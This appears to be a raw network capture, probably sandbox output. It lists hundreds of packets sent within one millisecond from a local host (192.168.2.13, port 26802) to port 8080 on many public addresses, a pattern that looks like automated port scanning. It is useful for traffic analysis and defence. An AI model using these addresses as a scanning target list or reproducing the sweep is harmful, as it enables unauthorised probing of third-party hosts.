Feb 19, 2025 19:43:17.267409086 CET	26802	8080	192.168.2.13	31.64.245.211
Feb 19, 2025 19:43:17.267410994 CET	26802	8080	192.168.2.13	31.22.34.246
Feb 19, 2025 19:43:17.267424107 CET	26802	8080	192.168.2.13	95.66.212.239
Feb 19, 2025 19:43:17.267430067 CET	26802	8080	192.168.2.13	85.153.1.126
Feb 19, 2025 19:43:17.267431974 CET	26802	8080	192.168.2.13	62.54.63.195
Feb 19, 2025 19:43:17.267437935 CET	26802	8080	192.168.2.13	85.54.180.119
Feb 19, 2025 19:43:17.267438889 CET	26802	8080	192.168.2.13	94.136.199.95
Feb 19, 2025 19:43:17.267443895 CET	26802	8080	192.168.2.13	62.18.125.131
Feb 19, 2025 19:43:17.267443895 CET	26802	8080	192.168.2.13	62.54.182.114
Feb 19, 2025 19:43:17.267443895 CET	26802	8080	192.168.2.13	31.77.155.0
Feb 19, 2025 19:43:17.267443895 CET	26802	8080	192.168.2.13	62.69.69.114
Feb 19, 2025 19:43:17.267448902 CET	26802	8080	192.168.2.13	94.95.100.33
Feb 19, 2025 19:43:17.267452955 CET	26802	8080	192.168.2.13	95.231.205.52
Feb 19, 2025 19:43:17.267452955 CET	26802	8080	192.168.2.13	85.92.23.240
Feb 19, 2025 19:43:17.267452955 CET	26802	8080	192.168.2.13	95.167.8.246
Feb 19, 2025 19:43:17.267452955 CET	26802	8080	192.168.2.13	85.223.229.153
Feb 19, 2025 19:43:17.267457008 CET	26802	8080	192.168.2.13	85.203.215.235
Feb 19, 2025 19:43:17.267462969 CET	26802	8080	192.168.2.13	94.0.249.8
Feb 19, 2025 19:43:17.267463923 CET	26802	8080	192.168.2.13	31.231.117.74
Feb 19, 2025 19:43:17.267465115 CET	26802	8080	192.168.2.13	31.21.142.145
Feb 19, 2025 19:43:17.267465115 CET	26802	8080	192.168.2.13	31.213.60.48
Feb 19, 2025 19:43:17.267462969 CET	26802	8080	192.168.2.13	94.191.137.205
Feb 19, 2025 19:43:17.267471075 CET	26802	8080	192.168.2.13	31.115.71.243
Feb 19, 2025 19:43:17.267472982 CET	26802	8080	192.168.2.13	62.83.107.113
Feb 19, 2025 19:43:17.267472982 CET	26802	8080	192.168.2.13	85.58.112.147
Feb 19, 2025 19:43:17.267474890 CET	26802	8080	192.168.2.13	62.234.92.22
Feb 19, 2025 19:43:17.267474890 CET	26802	8080	192.168.2.13	62.221.198.53
Feb 19, 2025 19:43:17.267488003 CET	26802	8080	192.168.2.13	85.154.181.134
Feb 19, 2025 19:43:17.267488956 CET	26802	8080	192.168.2.13	85.216.198.131
Feb 19, 2025 19:43:17.267488956 CET	26802	8080	192.168.2.13	85.154.209.76
Feb 19, 2025 19:43:17.267493963 CET	26802	8080	192.168.2.13	62.155.13.14
Feb 19, 2025 19:43:17.267493963 CET	26802	8080	192.168.2.13	85.164.26.122
Feb 19, 2025 19:43:17.267501116 CET	26802	8080	192.168.2.13	31.10.28.184
Feb 19, 2025 19:43:17.267501116 CET	26802	8080	192.168.2.13	31.125.48.152
Feb 19, 2025 19:43:17.267503023 CET	26802	8080	192.168.2.13	85.144.104.92
Feb 19, 2025 19:43:17.267503023 CET	26802	8080	192.168.2.13	95.139.155.74
Feb 19, 2025 19:43:17.267505884 CET	26802	8080	192.168.2.13	94.252.213.109
Feb 19, 2025 19:43:17.267508984 CET	26802	8080	192.168.2.13	62.88.46.87
Feb 19, 2025 19:43:17.267512083 CET	26802	8080	192.168.2.13	31.165.105.65
Feb 19, 2025 19:43:17.267532110 CET	26802	8080	192.168.2.13	85.1.13.46
Feb 19, 2025 19:43:17.267532110 CET	26802	8080	192.168.2.13	62.17.64.136
Feb 19, 2025 19:43:17.267532110 CET	26802	8080	192.168.2.13	94.58.180.70
Feb 19, 2025 19:43:17.267532110 CET	26802	8080	192.168.2.13	31.152.198.135
Feb 19, 2025 19:43:17.267530918 CET	26802	8080	192.168.2.13	94.85.166.45
Feb 19, 2025 19:43:17.267530918 CET	26802	8080	192.168.2.13	85.11.37.75
Feb 19, 2025 19:43:17.267539978 CET	26802	8080	192.168.2.13	95.183.175.183
Feb 19, 2025 19:43:17.267539978 CET	26802	8080	192.168.2.13	95.115.160.71
Feb 19, 2025 19:43:17.267540932 CET	26802	8080	192.168.2.13	94.33.156.232
Feb 19, 2025 19:43:17.267540932 CET	26802	8080	192.168.2.13	94.14.188.130
Feb 19, 2025 19:43:17.267539978 CET	26802	8080	192.168.2.13	95.157.10.227
Feb 19, 2025 19:43:17.267539978 CET	26802	8080	192.168.2.13	94.21.1.90
Feb 19, 2025 19:43:17.267539978 CET	26802	8080	192.168.2.13	95.92.177.162
Feb 19, 2025 19:43:17.267539978 CET	26802	8080	192.168.2.13	85.81.191.20
Feb 19, 2025 19:43:17.267539978 CET	26802	8080	192.168.2.13	31.66.226.25
Feb 19, 2025 19:43:17.267540932 CET	26802	8080	192.168.2.13	31.221.197.198
Feb 19, 2025 19:43:17.267540932 CET	26802	8080	192.168.2.13	85.115.52.82
Feb 19, 2025 19:43:17.267540932 CET	26802	8080	192.168.2.13	85.222.70.192
Feb 19, 2025 19:43:17.267558098 CET	26802	8080	192.168.2.13	62.162.6.174
Feb 19, 2025 19:43:17.267561913 CET	26802	8080	192.168.2.13	31.125.89.122
Feb 19, 2025 19:43:17.267563105 CET	26802	8080	192.168.2.13	62.223.220.176
Feb 19, 2025 19:43:17.267568111 CET	26802	8080	192.168.2.13	94.180.85.193
Feb 19, 2025 19:43:17.267568111 CET	26802	8080	192.168.2.13	94.164.166.100
Feb 19, 2025 19:43:17.267568111 CET	26802	8080	192.168.2.13	95.63.244.236
Feb 19, 2025 19:43:17.267568111 CET	26802	8080	192.168.2.13	94.30.223.28
Feb 19, 2025 19:43:17.267571926 CET	26802	8080	192.168.2.13	85.18.36.152
Feb 19, 2025 19:43:17.267575026 CET	26802	8080	192.168.2.13	95.68.109.157
Feb 19, 2025 19:43:17.267575026 CET	26802	8080	192.168.2.13	85.43.53.203
Feb 19, 2025 19:43:17.267575026 CET	26802	8080	192.168.2.13	85.252.162.128
Feb 19, 2025 19:43:17.267575026 CET	26802	8080	192.168.2.13	95.3.134.22
Feb 19, 2025 19:43:17.267575026 CET	26802	8080	192.168.2.13	85.22.95.233
Feb 19, 2025 19:43:17.267577887 CET	26802	8080	192.168.2.13	62.127.55.139
Feb 19, 2025 19:43:17.267582893 CET	26802	8080	192.168.2.13	31.109.70.239
Feb 19, 2025 19:43:17.267584085 CET	26802	8080	192.168.2.13	85.80.90.73
Feb 19, 2025 19:43:17.267584085 CET	26802	8080	192.168.2.13	95.191.167.185
Feb 19, 2025 19:43:17.267586946 CET	26802	8080	192.168.2.13	85.193.23.64
Feb 19, 2025 19:43:17.267606020 CET	26802	8080	192.168.2.13	31.108.193.93
Feb 19, 2025 19:43:17.267607927 CET	26802	8080	192.168.2.13	85.127.24.133
Feb 19, 2025 19:43:17.267607927 CET	26802	8080	192.168.2.13	31.173.206.56
Feb 19, 2025 19:43:17.267611980 CET	26802	8080	192.168.2.13	95.226.186.70
Feb 19, 2025 19:43:17.267611980 CET	26802	8080	192.168.2.13	31.20.109.128
Feb 19, 2025 19:43:17.267611980 CET	26802	8080	192.168.2.13	85.115.10.37
Feb 19, 2025 19:43:17.267613888 CET	26802	8080	192.168.2.13	85.146.181.213
Feb 19, 2025 19:43:17.267620087 CET	26802	8080	192.168.2.13	95.98.177.19
Feb 19, 2025 19:43:17.267635107 CET	26802	8080	192.168.2.13	94.107.125.102
Feb 19, 2025 19:43:17.267636061 CET	26802	8080	192.168.2.13	95.35.16.186
Feb 19, 2025 19:43:17.267636061 CET	26802	8080	192.168.2.13	85.179.184.14
Feb 19, 2025 19:43:17.267637014 CET	26802	8080	192.168.2.13	94.223.160.102
Feb 19, 2025 19:43:17.267638922 CET	26802	8080	192.168.2.13	94.106.209.10
Feb 19, 2025 19:43:17.267641068 CET	26802	8080	192.168.2.13	94.34.13.134
Feb 19, 2025 19:43:17.267641068 CET	26802	8080	192.168.2.13	85.82.27.7
Feb 19, 2025 19:43:17.267642021 CET	26802	8080	192.168.2.13	85.138.26.215
Feb 19, 2025 19:43:17.267642975 CET	26802	8080	192.168.2.13	62.211.104.112
Feb 19, 2025 19:43:17.267647028 CET	26802	8080	192.168.2.13	31.155.27.191
Feb 19, 2025 19:43:17.267652988 CET	26802	8080	192.168.2.13	95.115.220.252
Feb 19, 2025 19:43:17.267657042 CET	26802	8080	192.168.2.13	95.1.127.52
Feb 19, 2025 19:43:17.267662048 CET	26802	8080	192.168.2.13	62.107.232.181
Feb 19, 2025 19:43:17.267668962 CET	26802	8080	192.168.2.13	95.203.245.205
Feb 19, 2025 19:43:17.267677069 CET	26802	8080	192.168.2.13	95.201.125.254
Feb 19, 2025 19:43:17.267677069 CET	26802	8080	192.168.2.13	95.222.62.160
Feb 19, 2025 19:43:17.267678022 CET	26802	8080	192.168.2.13	31.35.229.123
Feb 19, 2025 19:43:17.267677069 CET	26802	8080	192.168.2.13	31.116.220.32
Feb 19, 2025 19:43:17.267678022 CET	26802	8080	192.168.2.13	85.15.171.43
Feb 19, 2025 19:43:17.267683029 CET	26802	8080	192.168.2.13	31.20.71.151
Feb 19, 2025 19:43:17.267684937 CET	26802	8080	192.168.2.13	85.163.144.253
Feb 19, 2025 19:43:17.267693043 CET	26802	8080	192.168.2.13	62.67.34.223
Feb 19, 2025 19:43:17.267693043 CET	26802	8080	192.168.2.13	94.192.185.25
Feb 19, 2025 19:43:17.267693043 CET	26802	8080	192.168.2.13	85.201.10.99
Feb 19, 2025 19:43:17.267693996 CET	26802	8080	192.168.2.13	95.74.150.51
Feb 19, 2025 19:43:17.267694950 CET	26802	8080	192.168.2.13	95.66.140.55
Feb 19, 2025 19:43:17.267694950 CET	26802	8080	192.168.2.13	95.167.35.33
Feb 19, 2025 19:43:17.267694950 CET	26802	8080	192.168.2.13	85.169.13.153
Feb 19, 2025 19:43:17.267698050 CET	26802	8080	192.168.2.13	62.10.153.123
Feb 19, 2025 19:43:17.267705917 CET	26802	8080	192.168.2.13	62.178.219.247
Feb 19, 2025 19:43:17.267705917 CET	26802	8080	192.168.2.13	62.207.14.131
Feb 19, 2025 19:43:17.267708063 CET	26802	8080	192.168.2.13	31.119.201.144
Feb 19, 2025 19:43:17.267709017 CET	26802	8080	192.168.2.13	62.3.253.248
Feb 19, 2025 19:43:17.267709970 CET	26802	8080	192.168.2.13	94.145.61.80
Feb 19, 2025 19:43:17.267714024 CET	26802	8080	192.168.2.13	62.60.39.177
Feb 19, 2025 19:43:17.267719984 CET	26802	8080	192.168.2.13	95.102.185.115
Feb 19, 2025 19:43:17.267719984 CET	26802	8080	192.168.2.13	31.116.37.145
Feb 19, 2025 19:43:17.267723083 CET	26802	8080	192.168.2.13	62.246.191.20
Feb 19, 2025 19:43:17.267723083 CET	26802	8080	192.168.2.13	94.144.53.88
Feb 19, 2025 19:43:17.267723083 CET	26802	8080	192.168.2.13	62.180.3.119
Feb 19, 2025 19:43:17.267724037 CET	26802	8080	192.168.2.13	31.14.181.210
Feb 19, 2025 19:43:17.267724991 CET	26802	8080	192.168.2.13	85.81.219.243
Feb 19, 2025 19:43:17.267724991 CET	26802	8080	192.168.2.13	95.158.249.213
Feb 19, 2025 19:43:17.267724991 CET	26802	8080	192.168.2.13	95.242.224.109
Feb 19, 2025 19:43:17.267726898 CET	26802	8080	192.168.2.13	85.85.169.249
Feb 19, 2025 19:43:17.267729998 CET	26802	8080	192.168.2.13	95.168.22.76
Feb 19, 2025 19:43:17.267734051 CET	26802	8080	192.168.2.13	31.82.203.239
Feb 19, 2025 19:43:17.267735958 CET	26802	8080	192.168.2.13	62.148.136.96
Feb 19, 2025 19:43:17.267735958 CET	26802	8080	192.168.2.13	95.31.87.203
Feb 19, 2025 19:43:17.267743111 CET	26802	8080	192.168.2.13	62.112.89.68
Feb 19, 2025 19:43:17.267755985 CET	26802	8080	192.168.2.13	94.16.196.234
Feb 19, 2025 19:43:17.267759085 CET	26802	8080	192.168.2.13	85.173.137.44
Feb 19, 2025 19:43:17.267759085 CET	26802	8080	192.168.2.13	31.150.228.5
Feb 19, 2025 19:43:17.267759085 CET	26802	8080	192.168.2.13	31.243.237.117
Feb 19, 2025 19:43:17.267759085 CET	26802	8080	192.168.2.13	85.162.248.169
Feb 19, 2025 19:43:17.267764091 CET	26802	8080	192.168.2.13	62.147.212.39
Feb 19, 2025 19:43:17.267765999 CET	26802	8080	192.168.2.13	85.173.39.21
Feb 19, 2025 19:43:17.267769098 CET	26802	8080	192.168.2.13	31.255.135.83
Feb 19, 2025 19:43:17.267769098 CET	26802	8080	192.168.2.13	85.176.1.120
Feb 19, 2025 19:43:17.267769098 CET	26802	8080	192.168.2.13	31.141.108.9
Feb 19, 2025 19:43:17.267772913 CET	26802	8080	192.168.2.13	94.150.16.1
Feb 19, 2025 19:43:17.267777920 CET	26802	8080	192.168.2.13	31.88.129.194
Feb 19, 2025 19:43:17.267777920 CET	26802	8080	192.168.2.13	62.114.93.222
Feb 19, 2025 19:43:17.267779112 CET	26802	8080	192.168.2.13	95.98.13.22
Feb 19, 2025 19:43:17.267779112 CET	26802	8080	192.168.2.13	85.187.23.83
Feb 19, 2025 19:43:17.267779112 CET	26802	8080	192.168.2.13	62.125.5.223
Feb 19, 2025 19:43:17.267781019 CET	26802	8080	192.168.2.13	95.7.119.194
Feb 19, 2025 19:43:17.267781019 CET	26802	8080	192.168.2.13	95.188.88.58
Feb 19, 2025 19:43:17.267796993 CET	26802	8080	192.168.2.13	85.58.204.60
Feb 19, 2025 19:43:17.267796993 CET	26802	8080	192.168.2.13	31.116.166.113
Feb 19, 2025 19:43:17.267796993 CET	26802	8080	192.168.2.13	31.235.64.14
Feb 19, 2025 19:43:17.267803907 CET	26802	8080	192.168.2.13	95.220.208.65
Feb 19, 2025 19:43:17.267803907 CET	26802	8080	192.168.2.13	62.8.39.21
Feb 19, 2025 19:43:17.267807961 CET	26802	8080	192.168.2.13	95.224.177.45
Feb 19, 2025 19:43:17.267817020 CET	26802	8080	192.168.2.13	95.149.125.242
Feb 19, 2025 19:43:17.267823935 CET	26802	8080	192.168.2.13	62.116.231.25
Feb 19, 2025 19:43:17.267823935 CET	26802	8080	192.168.2.13	85.127.241.152
Feb 19, 2025 19:43:17.267823935 CET	26802	8080	192.168.2.13	62.170.191.178
Feb 19, 2025 19:43:17.267827988 CET	26802	8080	192.168.2.13	95.103.11.188
Feb 19, 2025 19:43:17.267832994 CET	26802	8080	192.168.2.13	62.107.123.79
Feb 19, 2025 19:43:17.267853975 CET	26802	8080	192.168.2.13	95.122.245.134
Feb 19, 2025 19:43:17.267853975 CET	26802	8080	192.168.2.13	94.44.165.222
Feb 19, 2025 19:43:17.267854929 CET	26802	8080	192.168.2.13	85.226.165.156
Feb 19, 2025 19:43:17.267857075 CET	26802	8080	192.168.2.13	95.24.141.221
Feb 19, 2025 19:43:17.267854929 CET	26802	8080	192.168.2.13	85.229.59.199
Feb 19, 2025 19:43:17.267857075 CET	26802	8080	192.168.2.13	62.70.172.16
Feb 19, 2025 19:43:17.267853975 CET	26802	8080	192.168.2.13	85.163.81.165
Feb 19, 2025 19:43:17.267854929 CET	26802	8080	192.168.2.13	31.30.221.54
Feb 19, 2025 19:43:17.267865896 CET	26802	8080	192.168.2.13	85.227.231.172
Feb 19, 2025 19:43:17.267867088 CET	26802	8080	192.168.2.13	85.107.44.217
Feb 19, 2025 19:43:17.267867088 CET	26802	8080	192.168.2.13	94.135.245.56
Feb 19, 2025 19:43:17.267879009 CET	26802	8080	192.168.2.13	94.233.235.108
Feb 19, 2025 19:43:17.267879963 CET	26802	8080	192.168.2.13	94.233.156.217
Feb 19, 2025 19:43:17.267880917 CET	26802	8080	192.168.2.13	31.106.210.226
Feb 19, 2025 19:43:17.267898083 CET	26802	8080	192.168.2.13	85.98.110.201
Feb 19, 2025 19:43:17.267899036 CET	26802	8080	192.168.2.13	94.86.134.228
Feb 19, 2025 19:43:17.267899990 CET	26802	8080	192.168.2.13	62.111.98.186
Feb 19, 2025 19:43:17.267899990 CET	26802	8080	192.168.2.13	85.46.242.122
Feb 19, 2025 19:43:17.267899036 CET	26802	8080	192.168.2.13	31.95.33.113
Feb 19, 2025 19:43:17.267899990 CET	26802	8080	192.168.2.13	95.114.134.33
Feb 19, 2025 19:43:17.267904043 CET	26802	8080	192.168.2.13	94.90.150.3
Feb 19, 2025 19:43:17.267904043 CET	26802	8080	192.168.2.13	31.189.36.93
Feb 19, 2025 19:43:17.267908096 CET	26802	8080	192.168.2.13	94.15.2.67
Feb 19, 2025 19:43:17.267910957 CET	26802	8080	192.168.2.13	31.117.248.144
Feb 19, 2025 19:43:17.267910957 CET	26802	8080	192.168.2.13	95.57.19.49
Feb 19, 2025 19:43:17.267911911 CET	26802	8080	192.168.2.13	95.122.138.245
Feb 19, 2025 19:43:17.267914057 CET	26802	8080	192.168.2.13	95.98.223.219
Feb 19, 2025 19:43:17.267915964 CET	26802	8080	192.168.2.13	95.10.214.8
Feb 19, 2025 19:43:17.267915964 CET	26802	8080	192.168.2.13	31.211.26.193
Feb 19, 2025 19:43:17.267920971 CET	26802	8080	192.168.2.13	62.164.197.136
Feb 19, 2025 19:43:17.267920971 CET	26802	8080	192.168.2.13	85.87.206.187
Feb 19, 2025 19:43:17.267925024 CET	26802	8080	192.168.2.13	62.198.247.193
Feb 19, 2025 19:43:17.267925024 CET	26802	8080	192.168.2.13	62.19.116.64
Feb 19, 2025 19:43:17.267925978 CET	26802	8080	192.168.2.13	95.220.16.213
Feb 19, 2025 19:43:17.267926931 CET	26802	8080	192.168.2.13	31.13.239.166
Feb 19, 2025 19:43:17.267926931 CET	26802	8080	192.168.2.13	62.213.215.93
Feb 19, 2025 19:43:17.267930031 CET	26802	8080	192.168.2.13	95.38.14.23
Feb 19, 2025 19:43:17.267930984 CET	26802	8080	192.168.2.13	85.207.25.234
Feb 19, 2025 19:43:17.267935038 CET	26802	8080	192.168.2.13	95.148.19.79
Feb 19, 2025 19:43:17.267935038 CET	26802	8080	192.168.2.13	31.66.63.216
Feb 19, 2025 19:43:17.267936945 CET	26802	8080	192.168.2.13	31.76.20.70
Feb 19, 2025 19:43:17.267939091 CET	26802	8080	192.168.2.13	94.34.251.89
Feb 19, 2025 19:43:17.267940998 CET	26802	8080	192.168.2.13	31.254.98.118
Feb 19, 2025 19:43:17.267945051 CET	26802	8080	192.168.2.13	94.156.99.218
Feb 19, 2025 19:43:17.267963886 CET	26802	8080	192.168.2.13	94.154.170.152
Feb 19, 2025 19:43:17.267966986 CET	26802	8080	192.168.2.13	62.76.4.187
Feb 19, 2025 19:43:17.267966986 CET	26802	8080	192.168.2.13	31.150.55.32
Feb 19, 2025 19:43:17.267980099 CET	26802	8080	192.168.2.13	85.89.93.154
Feb 19, 2025 19:43:17.267980099 CET	26802	8080	192.168.2.13	31.19.77.149
Feb 19, 2025 19:43:17.267982960 CET	26802	8080	192.168.2.13	95.192.231.237
Feb 19, 2025 19:43:17.267991066 CET	26802	8080	192.168.2.13	31.46.59.189
Feb 19, 2025 19:43:17.267991066 CET	26802	8080	192.168.2.13	62.231.85.185
Feb 19, 2025 19:43:17.267991066 CET	26802	8080	192.168.2.13	62.200.204.90
Feb 19, 2025 19:43:17.267992973 CET	26802	8080	192.168.2.13	85.184.176.15
Feb 19, 2025 19:43:17.267992973 CET	26802	8080	192.168.2.13	85.89.159.164
Feb 19, 2025 19:43:17.267993927 CET	26802	8080	192.168.2.13	95.38.217.38
Feb 19, 2025 19:43:17.267993927 CET	26802	8080	192.168.2.13	62.16.117.206
Feb 19, 2025 19:43:17.268016100 CET	26802	8080	192.168.2.13	31.243.99.194
Feb 19, 2025 19:43:17.268016100 CET	26802	8080	192.168.2.13	95.205.94.202
Feb 19, 2025 19:43:17.268016100 CET	26802	8080	192.168.2.13	94.180.158.251
Feb 19, 2025 19:43:17.268016100 CET	26802	8080	192.168.2.13	62.7.103.127
Feb 19, 2025 19:43:17.268016100 CET	26802	8080	192.168.2.13	94.161.235.218
Feb 19, 2025 19:43:17.268016100 CET	26802	8080	192.168.2.13	94.245.188.243
Feb 19, 2025 19:43:17.268016100 CET	26802	8080	192.168.2.13	31.190.252.24
Feb 19, 2025 19:43:17.268018961 CET	26802	8080	192.168.2.13	95.70.123.195
Feb 19, 2025 19:43:17.268018961 CET	26802	8080	192.168.2.13	85.54.197.123
Feb 19, 2025 19:43:17.268018961 CET	26802	8080	192.168.2.13	31.72.70.252
Feb 19, 2025 19:43:17.268018961 CET	26802	8080	192.168.2.13	62.29.183.254
Feb 19, 2025 19:43:17.268018961 CET	26802	8080	192.168.2.13	62.16.39.237
Feb 19, 2025 19:43:17.268038034 CET	26802	8080	192.168.2.13	95.181.19.24
Feb 19, 2025 19:43:17.268042088 CET	26802	8080	192.168.2.13	31.188.156.186
Feb 19, 2025 19:43:17.268042088 CET	26802	8080	192.168.2.13	62.34.51.33
Feb 19, 2025 19:43:17.268042088 CET	26802	8080	192.168.2.13	95.88.160.211
Feb 19, 2025 19:43:17.268042088 CET	26802	8080	192.168.2.13	85.65.229.235
Feb 19, 2025 19:43:17.268042088 CET	26802	8080	192.168.2.13	94.14.98.46
Feb 19, 2025 19:43:17.268045902 CET	26802	8080	192.168.2.13	62.74.194.74
Feb 19, 2025 19:43:17.268049955 CET	26802	8080	192.168.2.13	95.153.150.237
Feb 19, 2025 19:43:17.268049955 CET	26802	8080	192.168.2.13	62.4.102.201
Feb 19, 2025 19:43:17.268052101 CET	26802	8080	192.168.2.13	85.173.3.174
Feb 19, 2025 19:43:17.268052101 CET	26802	8080	192.168.2.13	95.203.231.137
Feb 19, 2025 19:43:17.268064976 CET	26802	8080	192.168.2.13	85.61.118.207
Feb 19, 2025 19:43:17.268071890 CET	26802	8080	192.168.2.13	85.234.183.114
Feb 19, 2025 19:43:17.268071890 CET	26802	8080	192.168.2.13	85.108.231.44
Feb 19, 2025 19:43:17.268074036 CET	26802	8080	192.168.2.13	31.119.137.188
Feb 19, 2025 19:43:17.268074036 CET	26802	8080	192.168.2.13	95.118.204.71
Feb 19, 2025 19:43:17.268074989 CET	26802	8080	192.168.2.13	31.226.69.76
Feb 19, 2025 19:43:17.268074989 CET	26802	8080	192.168.2.13	85.190.12.193
Feb 19, 2025 19:43:17.268081903 CET	26802	8080	192.168.2.13	94.213.126.87
Feb 19, 2025 19:43:17.268086910 CET	26802	8080	192.168.2.13	95.168.49.11
Feb 19, 2025 19:43:17.268090010 CET	26802	8080	192.168.2.13	85.116.78.190
Feb 19, 2025 19:43:17.268091917 CET	26802	8080	192.168.2.13	31.102.138.251
Feb 19, 2025 19:43:17.268099070 CET	26802	8080	192.168.2.13	31.200.30.24
Feb 19, 2025 19:43:17.268101931 CET	26802	8080	192.168.2.13	95.87.40.223
Feb 19, 2025 19:43:17.268101931 CET	26802	8080	192.168.2.13	31.61.94.164
Feb 19, 2025 19:43:17.268101931 CET	26802	8080	192.168.2.13	85.17.131.114
Feb 19, 2025 19:43:17.268104076 CET	26802	8080	192.168.2.13	31.13.237.120
Feb 19, 2025 19:43:17.268105984 CET	26802	8080	192.168.2.13	85.194.4.66
Feb 19, 2025 19:43:17.268105984 CET	26802	8080	192.168.2.13	62.63.126.66
Feb 19, 2025 19:43:17.268105984 CET	26802	8080	192.168.2.13	85.173.74.76
Feb 19, 2025 19:43:17.268117905 CET	26802	8080	192.168.2.13	95.173.152.83
Feb 19, 2025 19:43:17.268120050 CET	26802	8080	192.168.2.13	62.1.250.49
Feb 19, 2025 19:43:17.268120050 CET	26802	8080	192.168.2.13	62.105.52.244
Feb 19, 2025 19:43:17.268121004 CET	26802	8080	192.168.2.13	62.192.142.148
Feb 19, 2025 19:43:17.268136024 CET	26802	8080	192.168.2.13	31.250.196.141
Feb 19, 2025 19:43:17.268137932 CET	26802	8080	192.168.2.13	62.58.16.135
Feb 19, 2025 19:43:17.268137932 CET	26802	8080	192.168.2.13	85.197.206.104
Feb 19, 2025 19:43:17.268138885 CET	26802	8080	192.168.2.13	94.51.155.113
Feb 19, 2025 19:43:17.268143892 CET	26802	8080	192.168.2.13	31.176.218.82
Feb 19, 2025 19:43:17.268147945 CET	26802	8080	192.168.2.13	31.119.138.109
Feb 19, 2025 19:43:17.268148899 CET	26802	8080	192.168.2.13	94.138.226.89
Feb 19, 2025 19:43:17.268148899 CET	26802	8080	192.168.2.13	31.188.164.14
Feb 19, 2025 19:43:17.268150091 CET	26802	8080	192.168.2.13	85.58.189.176
Feb 19, 2025 19:43:17.268150091 CET	26802	8080	192.168.2.13	62.186.155.3
Feb 19, 2025 19:43:17.268155098 CET	26802	8080	192.168.2.13	95.0.224.160
Feb 19, 2025 19:43:17.268157959 CET	26802	8080	192.168.2.13	94.0.7.201
Feb 19, 2025 19:43:17.268157959 CET	26802	8080	192.168.2.13	31.191.181.255
Feb 19, 2025 19:43:17.268161058 CET	26802	8080	192.168.2.13	85.73.70.252
Feb 19, 2025 19:43:17.268161058 CET	26802	8080	192.168.2.13	62.103.78.184
Feb 19, 2025 19:43:17.268161058 CET	26802	8080	192.168.2.13	31.205.114.183
Feb 19, 2025 19:43:17.268161058 CET	26802	8080	192.168.2.13	62.217.134.156
Feb 19, 2025 19:43:17.268161058 CET	26802	8080	192.168.2.13	62.185.31.143
Feb 19, 2025 19:43:17.268167019 CET	26802	8080	192.168.2.13	94.192.200.162
Feb 19, 2025 19:43:17.268167019 CET	26802	8080	192.168.2.13	94.193.17.36
Feb 19, 2025 19:43:17.268178940 CET	26802	8080	192.168.2.13	31.147.94.42
Feb 19, 2025 19:43:17.268182039 CET	26802	8080	192.168.2.13	31.56.168.152
Feb 19, 2025 19:43:17.268203020 CET	26802	8080	192.168.2.13	31.7.63.142
Feb 19, 2025 19:43:17.268208027 CET	26802	8080	192.168.2.13	95.13.45.20
Feb 19, 2025 19:43:17.268208027 CET	26802	8080	192.168.2.13	94.176.18.5
Feb 19, 2025 19:43:17.268209934 CET	26802	8080	192.168.2.13	62.149.12.94
Feb 19, 2025 19:43:17.268214941 CET	26802	8080	192.168.2.13	95.25.217.30
Feb 19, 2025 19:43:17.268214941 CET	26802	8080	192.168.2.13	85.111.54.2
Feb 19, 2025 19:43:17.268214941 CET	26802	8080	192.168.2.13	94.10.221.143
Feb 19, 2025 19:43:17.268223047 CET	26802	8080	192.168.2.13	62.143.151.108
Feb 19, 2025 19:43:17.268229961 CET	26802	8080	192.168.2.13	95.252.76.255
Feb 19, 2025 19:43:17.268238068 CET	26802	8080	192.168.2.13	62.195.240.112
Feb 19, 2025 19:43:17.268238068 CET	26802	8080	192.168.2.13	95.148.226.102
Feb 19, 2025 19:43:17.268243074 CET	26802	8080	192.168.2.13	31.115.159.67
Feb 19, 2025 19:43:17.268245935 CET	26802	8080	192.168.2.13	95.199.206.117
Feb 19, 2025 19:43:17.268249035 CET	26802	8080	192.168.2.13	31.51.27.223
Feb 19, 2025 19:43:17.268249035 CET	26802	8080	192.168.2.13	85.167.65.70
Feb 19, 2025 19:43:17.268254042 CET	26802	8080	192.168.2.13	85.161.20.119
Feb 19, 2025 19:43:17.268254042 CET	26802	8080	192.168.2.13	85.6.55.241
Feb 19, 2025 19:43:17.268254995 CET	26802	8080	192.168.2.13	31.117.45.234
Feb 19, 2025 19:43:17.268260002 CET	26802	8080	192.168.2.13	85.109.115.149
Feb 19, 2025 19:43:17.268265009 CET	26802	8080	192.168.2.13	62.44.107.159
Feb 19, 2025 19:43:17.268265009 CET	26802	8080	192.168.2.13	85.38.62.83
Feb 19, 2025 19:43:17.268268108 CET	26802	8080	192.168.2.13	85.9.236.57
Feb 19, 2025 19:43:17.268268108 CET	26802	8080	192.168.2.13	85.32.86.118
Feb 19, 2025 19:43:17.268273115 CET	26802	8080	192.168.2.13	95.175.63.25
Feb 19, 2025 19:43:17.268273115 CET	26802	8080	192.168.2.13	31.125.25.56
Feb 19, 2025 19:43:17.268273115 CET	26802	8080	192.168.2.13	31.222.108.172
Feb 19, 2025 19:43:17.268274069 CET	26802	8080	192.168.2.13	31.94.189.64
Feb 19, 2025 19:43:17.268274069 CET	26802	8080	192.168.2.13	31.13.182.79
Feb 19, 2025 19:43:17.268287897 CET	26802	8080	192.168.2.13	94.235.1.208
Feb 19, 2025 19:43:17.268289089 CET	26802	8080	192.168.2.13	85.23.93.158
Feb 19, 2025 19:43:17.268289089 CET	26802	8080	192.168.2.13	85.42.196.120
Feb 19, 2025 19:43:17.268289089 CET	26802	8080	192.168.2.13	94.54.237.146
Feb 19, 2025 19:43:17.268291950 CET	26802	8080	192.168.2.13	62.30.41.34
Feb 19, 2025 19:43:17.268289089 CET	26802	8080	192.168.2.13	94.231.103.249
Feb 19, 2025 19:43:17.268296957 CET	26802	8080	192.168.2.13	94.169.47.195
Feb 19, 2025 19:43:17.268296957 CET	26802	8080	192.168.2.13	94.228.1.60
Feb 19, 2025 19:43:17.268301964 CET	26802	8080	192.168.2.13	85.13.192.200
Feb 19, 2025 19:43:17.268315077 CET	26802	8080	192.168.2.13	94.135.86.39
Feb 19, 2025 19:43:17.268315077 CET	26802	8080	192.168.2.13	31.85.48.245
Feb 19, 2025 19:43:17.268322945 CET	26802	8080	192.168.2.13	95.120.78.122
Feb 19, 2025 19:43:17.268330097 CET	26802	8080	192.168.2.13	85.221.73.86
Feb 19, 2025 19:43:17.268332958 CET	26802	8080	192.168.2.13	95.124.117.152
Feb 19, 2025 19:43:17.268332958 CET	26802	8080	192.168.2.13	94.161.165.28
Feb 19, 2025 19:43:17.268335104 CET	26802	8080	192.168.2.13	85.186.123.131
Feb 19, 2025 19:43:17.268337011 CET	26802	8080	192.168.2.13	62.165.72.107
